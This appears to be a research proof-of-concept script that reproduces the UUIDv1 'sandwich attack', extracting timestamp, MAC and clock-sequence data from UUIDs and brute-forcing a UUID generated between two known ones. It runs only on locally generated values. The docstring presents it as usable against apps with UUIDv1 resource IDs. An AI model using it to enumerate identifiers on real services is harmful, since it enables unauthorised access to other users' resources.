#!/usr/bin/env python
import uuid
from datetime import datetime

"""
Python3 script trying to reproduce the "Sandwich Attack: A New Way Of Brute Forcing UUIDs"
described on "https://versprite.com/blog/universally-unique-identifiers/".

Can be used to target a app for which a feature is using UUIDv1 for resource identifiers.
"""


NUM_100NS_INTERVALS_SINCE_UUID_EPOCH = 122192928000000000


def extract_uuid_infos(target_uuid):
    infos = None
    try:
        # Verify that the parameter passed in a valid UUID
        uuid_item = uuid.UUID(target_uuid)
        version = uuid_item.version
        infos = f"V{version} - '{target_uuid}' - "
        # Extract infos based on version
        if version == 1:
            epch = (uuid_item.time - NUM_100NS_INTERVALS_SINCE_UUID_EPOCH) / 10000
            dtime = datetime.fromtimestamp(epch / 1000)
            node_part = target_uuid.split("-")[4]
            mac = f"{node_part[0:2]}:{node_part[2:4]}:{node_part[4:6]}:{node_part[6:8]}:{node_part[8:10]}:{node_part[10:]}".upper()
            infos += f"Generation time '{dtime}' - Node MAC Address '{mac}' - ClockID/ClockSequence '{uuid_item.clock_seq}'."
        elif version == 2:
            infos += "Least significant 8 bits of the clock sequence are replaced by a 'local domain' number and least significant 32 bits of the timestamp are replaced by an integer identifier meaningful within the specified local domain."
        elif version == 3:
            infos += "MD5(NAMESPACE_IDENTIFIER + NAME)."
        elif version == 4:
            infos += "UUID could be duplicated (low chances) so manual check needed for entropy potential issues."
        elif version == 5:
            infos += "SHA1(NAMESPACE_IDENTIFIER + NAME)."
        else:
            infos += " Unknown version."
    except Exception:
        infos = None
    return infos


# Version of the POC fixing the "clock_seq" like in the article
print("==== POC v1: Fixed clock_seq")
item_1 = str(uuid.uuid1(clock_seq=1233))
item_to_find = str(uuid.uuid1(clock_seq=1233))
item_2 = str(uuid.uuid1(clock_seq=1233))
print(extract_uuid_infos(item_1))
print(extract_uuid_infos(item_to_find))
print(extract_uuid_infos(item_2))
start = int(item_1.split("-")[0], 16)
end = int(item_2.split("-")[0], 16)
base = item_1.split("-")
start_date = datetime.now()
print(f"Delta: {end-start}")
print(f"Start: {start_date}")
for i in range(start, end):
    base[0] = hex(i)[2:]
    value = "-".join(base)
    if value == item_to_find:
        print("Item Found!")
        break
end_date = datetime.now()
print(f"End  : {end_date}")
delay = end_date - start_date
print(f"Delay: {delay.total_seconds()} seconds")


# Version of the POC without fixing the "clock_seq"
# to mimic a standart call to python UUID V1 function
print("==== POC v2: Random clock_seq")
item_1 = str(uuid.uuid1())
item_to_find = str(uuid.uuid1())
item_2 = str(uuid.uuid1())
print(extract_uuid_infos(item_1))
print(extract_uuid_infos(item_to_find))
print(extract_uuid_infos(item_2))
start = int(item_1.split("-")[0], 16)
end = int(item_2.split("-")[0], 16)
base = item_1.split("-")
start_date = datetime.now()
print(f"Delta: {end-start}")
print(f"Start: {start_date}")
tentative_count = 0
i = end
found = False
# I have remarked that the identification of the item
# is more faster when I start for the END bound because
# the generation time of the searched item is more near of
# the last generated item
while not found and i > start:
    base[0] = hex(i)[2:]
    # 16384: During testing on clock_seq range of values,
    # I have remarked that the clock_seq random value never reach a value >= 16384
    for j in range(16384):
        # Leverage the built-in UUID v1 function to compute the "clock_seq" value
        # for the current "clock_seq" tried.
        # Specify a node value in order to prevent the function to retrieve the local MAC address (gain time)
        base[3] = str(uuid.uuid1(int(base[4], 16), j)).split("-")[3]
        value = "-".join(base)
        tentative_count += 1
        if value == item_to_find:
            print("Item Found!")
            found = True
    i -= 1
end_date = datetime.now()
print(f"End  : {end_date}")
delay = end_date - start_date
print(f"Delay: {delay.total_seconds() } seconds ({tentative_count} tentatives performed).")
